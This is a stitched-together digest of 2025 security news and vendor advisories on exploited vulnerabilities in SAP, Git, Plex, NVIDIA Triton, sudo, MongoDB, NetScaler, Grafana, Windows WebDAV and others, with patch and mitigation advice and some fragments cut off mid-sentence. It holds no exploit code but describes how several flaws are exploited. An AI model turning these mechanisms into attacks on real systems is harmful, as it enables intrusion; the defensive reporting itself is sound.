Earlier this month, it was revealed that hackers were exploiting a critical code injection vulnerability tracked as CVE-2025-42957, impacting S/4HANA, Business One, and NetWeaver products.
System administrators are recommended to follow the patching and mitigation recommendations for the three critical flaws, available here (1, 2, 3) for customers with a SAP account.
infosecurity-magazine James Coker
Deputy Editor, Infosecurity Magazine 29 Aug 2025
Recorded Future highlighted the vast capabilities of state actors to rapidly weaponize newly disclosed vulnerabilities for geopolitical purposes
The majority (53%) of attributed vulnerability exploits in the first half 2025 were conducted by state-sponsored actors for strategic, geopolitical purposes, according to a new report by Recorded Future’s Insikt Group.
The researchers said the findings demonstrate the growing ability of well-resourced state-sponsored groups to weaponize flaws rapidly following disclosure. Geopolitical purposes, such as espionage and surveillance, are the key motives for these threat actors.
“The significant state-sponsored involvement also implies that these threats are not just random or opportunistic but often targeted and persistent campaigns aiming at specific sectors or high-value systems,” they noted.
The majority of state-sponsored campaigns were conducted by Chinese state-sponsored actors. These groups primarily targeted edge infrastructure and enterprise solutions, a tactic that has continued since 2024.
Read now: Chinese Tech Firms Linked to Salt Typhoon Espionage Campaigns
The suspected China-linked group UNC5221 exploited the highest number of vulnerabilities in H1 2025. It demonstrated a preference for Ivanti products, including Endpoint Manager Mobile, Connect Secure and Policy Secure.
Financially motivated groups accounted for the remaining 47% of vulnerability exploits – 27% were made up of those actors involved in theft and fraud but not linked to ransomware and 20% attributed to ransomware and extortion groups.
The researchers predicted that the exploitation of edge security appliances, remote access tools and other gateway-layer software will remain a top priority for both state-sponsored and financially-motivated groups.
“The strategic value of these systems – acting as intermediaries for encrypted traffic and privileged access – makes them high-reward targets,” they noted.
Microsoft was the most targeted vendor, with the tech giant’s products accounting for 17% of exploitations.
Most Vulnerability Exploits Required No Authentication
Insikt Group’s H1 2025 Malware and Vulnerability Trends report, published on August 28, found that the total number of disclosed common vulnerabilities and exposures (CVEs) grew 16% year-over-year.
Attackers exploited 161 distinct vulnerabilities in the six-month period, up from 136 in H1 2024.
Of the 161 flaws, 69% required no authentication to exploit, while 48% could be exploited remotely over a network.
“This heavy tilt toward unauthenticated, remote exploits means that attacks can be launched directly from the internet against vulnerable hosts, with no credentials or insider access needed,” the researchers commented.
Additionally, 30% of the exploited CVEs enabled remote code execution (RCE), which often grants an attacker full control over the target system.
ClickFix Becomes a Favored Initial Access Technique
The report observed that ransomware actors adopted new initial access techniques in H1 2025.
This included a significant increase in ClickFix social engineering attacks. ClickFix involves the use of a fake error or verification message to manipulate victims into copying and pasting a malicious script and then running it.
The tactic preys on users’ desire to fix problems themselves rather than alerting their IT team or anyone else. Therefore, it is effective at bypassing security protections as the victim infects themselves.
The Interlock gang was observed using ClickFix in campaigns in January and February 2025.
The group has also leveraged FileFix in later attacks. This tactic is an evolution on ClickFix, where users are tricked into pasting a malicious file path into a Windows File Explorer’s address bar rather than using a dialog box.
Inskit group assess that the success of ClickFix means this method will remain a favored initial access technique through the rest of 2025 unless widespread mitigations reduce its effectiveness.
Post-compromise, ransomware groups have increased their use of endpoint detection and response (EDR) evasion via bring-your-own-installer (BYOI) techniques, and custom payloads using just-in-time (JIT) hooking and memory injection to bypass detection.
www.root.io Root Security Bulletin - CVE: CVE-2025-48384 Date: August 26, 2025 Severity: High (CVSS v3.1 Score: 8.0)
Overview
A critical Git vulnerability, CVE-2025-48384, has been identified and is actively exploited in the wild, now listed in CISA's Known Exploited Vulnerabilities (KEV) catalog. This flaw enables remote code execution (RCE) through malicious repositories and poses a significant risk to developers and CI/CD pipelines across Linux and macOS systems. Windows installations are unaffected due to filesystem restrictions.
The vulnerability impacts all Git versions prior to the patched releases issued on July 8, 2025. While Ubuntu responded immediately with security advisories, Debian has marked the issue "no-dsa," delaying fixes until future point releases—leaving many Debian-based environments exposed.
Technical Details
The vulnerability arises from an inconsistency in Git's configuration parsing logic:
When reading config values, Git strips trailing CRLF characters.
When writing, values with trailing carriage returns (CR) are not properly quoted, leading to discrepancies when read back.
Attackers can exploit this by creating malicious .gitmodules files with submodule paths ending in CR characters. When combined with symlinked hooks directories and executable post-checkout hooks, this enables arbitrary file writes and ultimately remote code execution.
Exploitation scenario: Victims running git clone --recursive on a malicious repository may initialize submodules in unintended filesystem locations. Security researchers (liamg, acheong08, and others) have published proof-of-concept exploits validating the attack's real-world impact.
Affected versions:
Git versions prior to v2.43.7, v2.44.4, v2.45.4, v2.46.4, v2.47.3, v2.48.2, v2.49.1, and v2.50.1
Systems: Linux, macOS (where control characters are allowed in filenames)
Not affected: Windows
CVSS v3.1 Vector: AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H
Base Score: 8.0 (High)
Impact
Active exploitation confirmed: CISA added CVE-2025-48384 to its KEV catalog on August 25, 2025, with a remediation deadline of September 15, 2025 for U.S. federal agencies.
Developer tools at risk: GitHub Desktop for macOS is particularly vulnerable due to its default use of recursive cloning.
Distribution disparity: Ubuntu issued immediate advisories and patches, while Debian deferred remediation, leaving production systems running Bookworm, Bullseye, or Trixie without timely fixes.
This uneven patching cadence underscores the supply chain risks when critical open-source infrastructure receives inconsistent remediation across ecosystems.
Timeline
July 8, 2025: Git project discloses CVE-2025-48384 and issues patched releases across eight version branches.
July 9-15, 2025: Security researchers publish multiple proof-of-concept exploits, confirming real-world exploitability.
August 8, 2025: Root tested, backported, and deployed patches for Debian Bookworm, Bullseye, Trixie, and all Slim variants, delivering them seamlessly across all Root users' environments without disruption.
August 15, 2025: Debian marked the issue as "no-dsa," opting for remediation only in future point releases.
August 25, 2025: CISA added CVE-2025-48384 to the KEV catalog, mandating U.S. federal agencies remediate by September 15.
Recommendations
For Debian Users
Confirm exposure: Determine if your systems use the git package maintained by Debian. Tools like Trivy or enterprise vulnerability scanners can quickly verify vulnerable versions.
Short-term mitigations:
Avoid git clone --recursive on untrusted repositories.
Inspect .gitmodules files before initializing submodules.
Consider compiling patched versions of Git from source where feasible.
For Root Users
Customers using Root's Agentic Vulnerability Remediation (AVR) platform are already protected. Root delivered patched and backported Git packages on August 8, 2025, covering Debian Bookworm, Bullseye, Trixie, and all Slim variants. Patches were deployed seamlessly across all user environments without disruption.
Users can verify their protection in the Artifact Explorer or trigger an on-demand remediation in under five minutes.
Extended availability: Root's patched versions are also accessible through partners such as Aikido and scanners using Trivy, where advanced tier subscribers receive immediate coverage.
For Non-Customers
Get free remediation: Sign up at app.root.io to remediate affected images and push them back to your repositories at no cost.
Root's Approach
Root’s Agentic Vulnerability Remediation (AVR) technology leverages AI-driven automation overseen by security experts, replicating the decision-making of seasoned engineers at scale.
The platform operates in five phases:
Assessment – Mapping CVEs across known databases.
Recommendation – Identifying the optimal remediation path.
Application – Applying and backporting security patches where needed.
Validation – Rigorous testing against public frameworks.
Deployment – Delivering fully remediated, auditable images.
Unlike traditional vulnerability scanners, Root fixes vulnerabilities proactively—eliminating false positives, providing comprehensive SBOMs and VEX statements, and reducing remediation time to minutes.
Conclusion
CVE-2025-48384 highlights both the responsiveness of the Git project and the uneven patching practices across Linux distributions. While upstream patches were released promptly, Debian's deferred remediation created a critical exposure window that attackers are already exploiting.
Organizations relying on Debian-based containers cannot afford to wait for delayed point releases. Automated remediation platforms like Root AVR bridge this gap by providing continuous, proactive protection at container-build speeds—ensuring development teams remain secure without sacrificing velocity.
For broader industry analysis of what this vulnerability reveals about modern security approaches, see our blog post: CVE- 2025-48384: The Git Vulnerability That's Exposing a Broken System.
Take action now: Explore Root's remediation for CVE-2025-48384 at app.root.io
bleepingcomputer.com - Plex has notified some of its users on Thursday to urgently update their media servers due to a recently patched security vulnerability.
The company has yet to assign a CVE-ID to track the flaw and didn't provide additional details regarding the patch, only saying that it impacts Plex Media Server versions 1.41.7.x to 1.42.0.x.
Yesterday, four days after releasing security updates that addressed the mysterious security bug, Plex emailed those running affected versions to update their software as soon as possible.
"We recently received a report via our bug bounty program that there was a potential security issue affecting Plex Media Server versions 1.41.7.x to 1.42.0.x. Thanks to that user, we were able to address the issue, release an updated version of the server, and continue to improve our security and defenses," the company said in the email.
"You're receiving this notice because our information indicates that a Plex Media Server owned by your Plex account is running an older version of the server. We strongly recommend that everyone update their Plex Media Server to the most recent version as soon as possible, if you have not already done so."
Plex Media Server 1.42.1.10060, the version that patches this vulnerability, can be downloaded from the server management page or the official downloads page.
While Plex hasn't shared any details regarding the vulnerability so far, users are advised to follow the company's advice and patch their software before threat actors reverse engineer the patches and develop an exploit.
Although Plex has experienced its share of critical and high-severity security flaws over the years, this is one of the few instances where the company has emailed customers about securing their systems against a specific vulnerability.
In March 2023, CISA tagged a three-year-old remote code execution (RCE) flaw (CVE-2020-5741) in the Plex Media Server as actively exploited in attacks. As Plex explained two years earlier, when it released patches, successful exploitation can allow attackers to make the server execute malicious code.
While the cybersecurity agency didn't provide any information on the attacks exploiting CVE-2020-5741, they were likely linked to LastPass' disclosure that one of its senior DevOps engineers' computers had been hacked in 2022 to install a keylogger by abusing a third-party media software RCE bug.
The attackers exploited this access to steal the engineer's credentials and compromise the LastPass corporate vault, resulting in a massive data breach in August 2022 after stealing LastPass's production backups and critical database backups.
The same month, Plex also notified users of a data breach and asked them to reset passwords after an attacker gained access to a database containing emails, usernames, and encrypted passwords.
The Wiz Research team has discovered a chain of critical vulnerabilities in NVIDIA's Triton Inference Server, a popular open-source platform for running AI models at scale. When chained together, these flaws can potentially allow a remote, unauthenticated attacker to gain complete control of the server, achieving remote code execution (RCE).
This attack path originates in the server's Python backend and starts with a minor information leak that cleverly escalates into a full system compromise. This poses a critical risk to organizations using Triton for AI/ML, as a successful attack could lead to the theft of valuable AI models, exposure of sensitive data, manipulating the AI model's responses and a foothold for attackers to move deeper into a network.
Wiz Research responsibly disclosed these findings to NVIDIA, and a patch has been released. We would like to thank the NVIDIA security team for their excellent collaboration and swift response. NVIDIA has assigned the following identifiers to this vulnerability chain: CVE-2025-23319, CVE-2025-23320, and CVE-2025-23334. We strongly recommend all Triton Inference Server users update to the latest version. This post provides a high-level overview of these new vulnerabilities and their potential impact.
The enclosed work is the latest in a series of NVIDIA vulnerabilities we’ve disclosed, including two container escapes: CVE-2025-23266 and CVE 2024-0132.
Mitigations
Update Immediately: The primary mitigation is to upgrade both the NVIDIA Triton Inference Server and the Python backend to version 25.07 as advised in the NVIDIA security bulletin.
Wiz customers can use the following to detect vulnerable instances in their cloud environment:
Wiz customers can use the Vulnerability Findings page to find all instances of these vulnerabilities in their environment, or filter results to instances related to critical issues. Alternatively, you can use the Security Graph to identify publicly exposed vulnerable VMs/serverless or containers.
Wiz Advanced customers can filter on findings identified or validated by the Dynamic Scanner, and Wiz Sensor customers can filter on runtime validated findings.
Wiz Code customers can filter on findings with one-click remediation to generate a pull request with fixes for vulnerable instances detected in code repositories.
mobile-hacker.com - On June 13, 2025 was disclosed vulnerability in the iOS version of the Air Keyboard app that exposes users to remote input injection over Wi-Fi. The flaw, documented in CXSecurity Report, allows an attacker on the same local network to send keystrokes to a target iOS device without authentication. As of this writing, the app remains available on the App Store and is still affected by the vulnerability. With the report is also published prove of concept python script. In this blog I will test the exploit, have a look on their Android version of Air Keyboard app and conclude with security tips.
According to its official information, Air Keyboard is an app that turns your mobile device into a wireless keyboard and mouse for your computer. It connects over the local network and sends or receives input to or from a companion desktop application installed on Windows or macOS. The app’s goal is to offer convenient remote control for presentations, media playback, or general PC use, all from your smartphone or tablet.
The vulnerability stems from the iOS app listening on TCP port 8888 for incoming input — without any form of authentication or encryption. A proof-of-concept Python script included in the advisory demonstrates how an attacker can craft data and remotely inject arbitrary keystrokes to the victim’s device. A video demonstration further confirms how trivial the attack is to execute. Because the iOS app does not verify the origin or integrity of the incoming commands, any device on the same Wi-Fi network can send input as if it were the user.
The app remains available on the App Store in this vulnerable state, with no fix or warning issued to users.
Google has issued an urgent security update for its Chrome browser, addressing a critical zero-day vulnerability that is being actively exploited by attackers.
The flaw, tracked as CVE-2025-6554, is a type confusion vulnerability in Chrome’s V8 JavaScript engine, which underpins the browser’s ability to process web content across Windows, macOS, and Linux platforms.
The vulnerability was discovered by Clément Lecigne of Google’s Threat Analysis Group (TAG) on June 25, 2025. According to Google, attackers have already developed and deployed exploits targeting this flaw in the wild, prompting the company to act quickly.
The Sudo utility is a privileged command-line tool installed on Linux systems that allows a permitted user to execute a command as the superuser, or another user, as specified by the security policy. It is commonly used to implement the least privilege model by delegating administrative tasks that require elevated privileges without sharing the root password, while also creating an audit trail in the system log.
The Stratascale Cyber Research Unit (CRU) team discovered two local privilege vulnerabilities in Sudo. These vulnerabilities can result in the escalation of privileges to root on the impacted system.
The research focused on infrequently used command-line options. This blog explores how the Sudo chroot option can be leveraged by any local user to elevate privileges to root, even if no Sudo rules are defined for that user.
The default Sudo configuration is vulnerable. Although the vulnerability involves the Sudo chroot feature, it does not require any Sudo rules to be defined for the user. As a result, any local unprivileged user could potentially escalate privileges to root if a vulnerable version is installed. The following versions are known to be vulnerable. Note: Not all versions within the range have been tested.
Stable 1.9.14 - 1.9.17
Note: The legacy versions of Sudo (currently <= 1.8.32) are not vulnerable because the chroot feature does not exist.
Exploitation has been verified on:
Ubuntu 24.04.1; Sudo 1.9.15p5, Sudo 1.9.16p2
Fedora 41 Server; Sudo 1.9.15p5
A critical pre-authentication vulnerability (CVE-2025-6709) in MongoDB Server enables unauthenticated attackers to trigger denial-of-service (DoS) conditions by exploiting improper input validation in OIDC authentication.
The flaw allows malicious actors to crash database servers by sending specially crafted JSON payloads containing specific date values, causing invariant failures and server crashes.
This vulnerability affects MongoDB Server versions before 7.0.17, 8.0.5, and 6.0.21 (with authentication required for 6.x exploitation).
Vulnerability Analysis
Attackers can reproduce the exploit using MongoDB’s mongo shell to send malicious JSON payloads targeting the OIDC authentication mechanism.
The server fails to properly validate date values in JSON input, leading to:
Complete server crashes without authentication in v7.0 and v8.0 deployments
Post-authentication DoS in v6.0 environments
Critical disruption of database operations through invariant failures
The vulnerability carries a CVSS score of 7.5 (High) due to its network-based attack vector, low attack complexity, and high availability impact.
MongoDB has classified this as CWE-20 (Improper Input Validation).
Mitigation and Updates
Administrators should immediately upgrade to patched versions:
MongoDB v6.0 → 6.0.21 or later
MongoDB v7.0 → 7.0.17 or later
MongoDB v8.0 → 8.0.5 or later
For environments where immediate patching isn’t feasible, consider disabling OIDC authentication until updates are applied.
Imperva’s Offensive Security Team discovered CVE-2025-49763, a high-severity vulnerability (CVSS v3.1 estimated score: 7.5) in Apache Traffic Server’s ESI plugin that enables unauthenticated attackers to exhaust memory and potentially crash proxy nodes. Given ATS’s role in global content delivery[1], even a single node failure can black-hole thousands of sessions. Organizations should urgently upgrade to version 9.2.11 or 10.0.6 and enforce the new inclusion-depth safeguard.
Why reverse‑proxy servers matter
Every web request you make today almost certainly travels through one or more reverse‑proxy caches before it reaches the origin application. These proxies:
This vulnerability can be exploited via two different ways:
A threat actor could exploit an Edge Side Include injection and recursively inject the same page over and over again.
exploitation via esi injection
A threat actor could also host a malicious server next to a target, behind a vulnerable traffic server proxy and take down the proxy by triggering the ESI request avalanche. (see Fig 2).
exploitation via malicious error
This results in a full denial of service on edge proxy nodes, triggered remotely without requiring authentication.
Issue Details
CVE-2025-23121
A vulnerability allowing remote code execution (RCE) on the Backup Server by an authenticated domain user.
Severity: Critical
CVSS v3.0 Score: 9.9
Source: Reported by watchTowr and CodeWhite.
Note: This vulnerability only impacts domain-joined backup servers.
Veeam Backup & Replication Security Best Practice Guide > Workgroup or Domain?
Affected Product
Veeam Backup & Replication 12.3.1.1139 and all earlier version 12 builds.
Note: Unsupported product versions are not tested, but are likely affected and should be considered vulnerable.
Solution
This vulnerability was fixed starting in the following build:
Veeam Backup & Replication 12.3.2 (build 12.3.2.3617)CVE-2025-24286
A vulnerability allowing an authenticated user with the Backup Operator role to modify backup jobs, which could execute arbitrary code.
Severity: High
CVSS v3.1 Score: 7.2
Source: Reported by Nikolai Skliarenko with Trend Micro.
Affected Product
Veeam Backup & Replication 12.3.1.1139 and all earlier version 12 builds.
Note: Unsupported product versions are not tested, but are likely affected and should be considered vulnerable.
Solution
This vulnerability was fixed starting in the following build:
Veeam Backup & Replication 12.3.2 (build 12.3.2.3617)CVE-2025-24287
A vulnerability allowing local system users to modify directory contents, allowing for arbitrary code execution on the local system with elevated permissions.
Severity: Medium
CVSS v3.1 Score: 6.1
Source: Reported by CrisprXiang working with Trend Micro Zero Day Initiative.
Affected Product
Veeam Agent for Microsoft Windows 6.3.1.1074 and all earlier version 6 builds.
Note: Unsupported product versions are not tested, but are likely affected and should be considered vulnerable.
Solution
This vulnerability was fixed starting in the following build:
Veeam Agent for Microsoft Windows 6.3.2 (build 6.3.2.1205)
Veeam Agent for Microsoft Windows is included with Veeam Backup & Replication and available as a standalone application.Severity - Critical
Description of Problem
A vulnerability has been discovered in NetScaler ADC (formerly Citrix ADC) and NetScaler Gateway (formerly Citrix Gateway). Refer below for further details.
Affected Versions
The following supported versions of NetScaler ADC and NetScaler Gateway are affected by the vulnerabilities:
NetScaler ADC and NetScaler Gateway 14.1 BEFORE 14.1-43.56
NetScaler ADC and NetScaler Gateway 13.1 BEFORE 13.1-58.32
NetScaler ADC 13.1-FIPS and NDcPP BEFORE 13.1-37.235-FIPS and NDcPP
NetScaler ADC 12.1-FIPS BEFORE 12.1-55.328-FIPSDetails
NetScaler ADC and NetScaler Gateway contain the vulnerabilities mentioned below:
CVE ID Description Pre-conditions CWE CVSSv4
CVE-2025-5349 Improper access control on the NetScaler Management Interface Access to NSIP, Cluster Management IP or local GSLB Site IP CWE-284: Improper Access Control
CVSS v4.0 Base Score: 8.7
(CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L)
CVE-2025-5777 Insufficient input validation leading to memory overread NetScaler must be configured as Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server CWE-125: Out-of-bounds Read
CVSS v4.0 Base Score: 9.3
(CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L)
More than 46,000 internet-facing Grafana instances remain unpatched and exposed to a client-side open redirect vulnerability that allows executing a malicious plugin and account takeover.
The flaw is tracked as CVE-2025-4123 and impacts multiple versions of the open-source platform used for monitoring and visualizing infrastructure and application metrics.
The vulnerability was discovered by bug bounty hunter Alvaro Balada and was addressed in security updates that Grafana Labs released on May 21.
After ignoring the advice from my friend, I bought a new ASUS motherboard for my PC. I was a little concerned about having a BIOS that would by default silently install software into my OS in the background. But it could be turned off so I figured I would just do that.
DriverHub is an interesting piece of driver software because it doesn’t have any GUI. Instead it’s just a background process that communicates with the website driverhub.asus.com and tells you what drivers to install for your system and which ones need updating. Naturally I wanted to know more about how this website knew what drivers my system needed and how it was installing them, so I cracked open the Firefox network tab.
As I expected, the website uses RPC to talk to the background process running on my system. This is where the background process hosts an HTTP or Websocket service locally which a website or service can connect to by sending an API request to 127.0.0.1 on a predefined port, in this case 53000.
Right about now my elite hacker senses started tingling.
An APT hacking group known as 'Stealth Falcon' exploited a Windows WebDav RCE vulnerability in zero-day attacks since March 2025 against defense and government organizations in Turkey, Qatar, Egypt, and Yemen.
Stealth Falcon (aka 'FruityArmor') is an advanced persistent threat (APT) group known for conducting cyberespionage attacks against Middle East organizations.
The flaw, tracked under CVE-2025-33053, is a remote code execution (RCE) vulnerability that arises from the improper handling of the working directory by certain legitimate system executables.
Specifically, when a .url file sets its WorkingDirectory to a remote WebDAV path, a built-in Windows tool can be tricked into executing a malicious executable from that remote location instead of the legitimate one.
This allows attackers to force devices to execute arbitrary code remotely from WebDAV servers under their control without dropping malicious files locally, making their operations stealthy and evasive.
The vulnerability was discovered by Check Point Research, with Microsoft fixing the flaw in the latest Patch Tuesday update, released yesterday.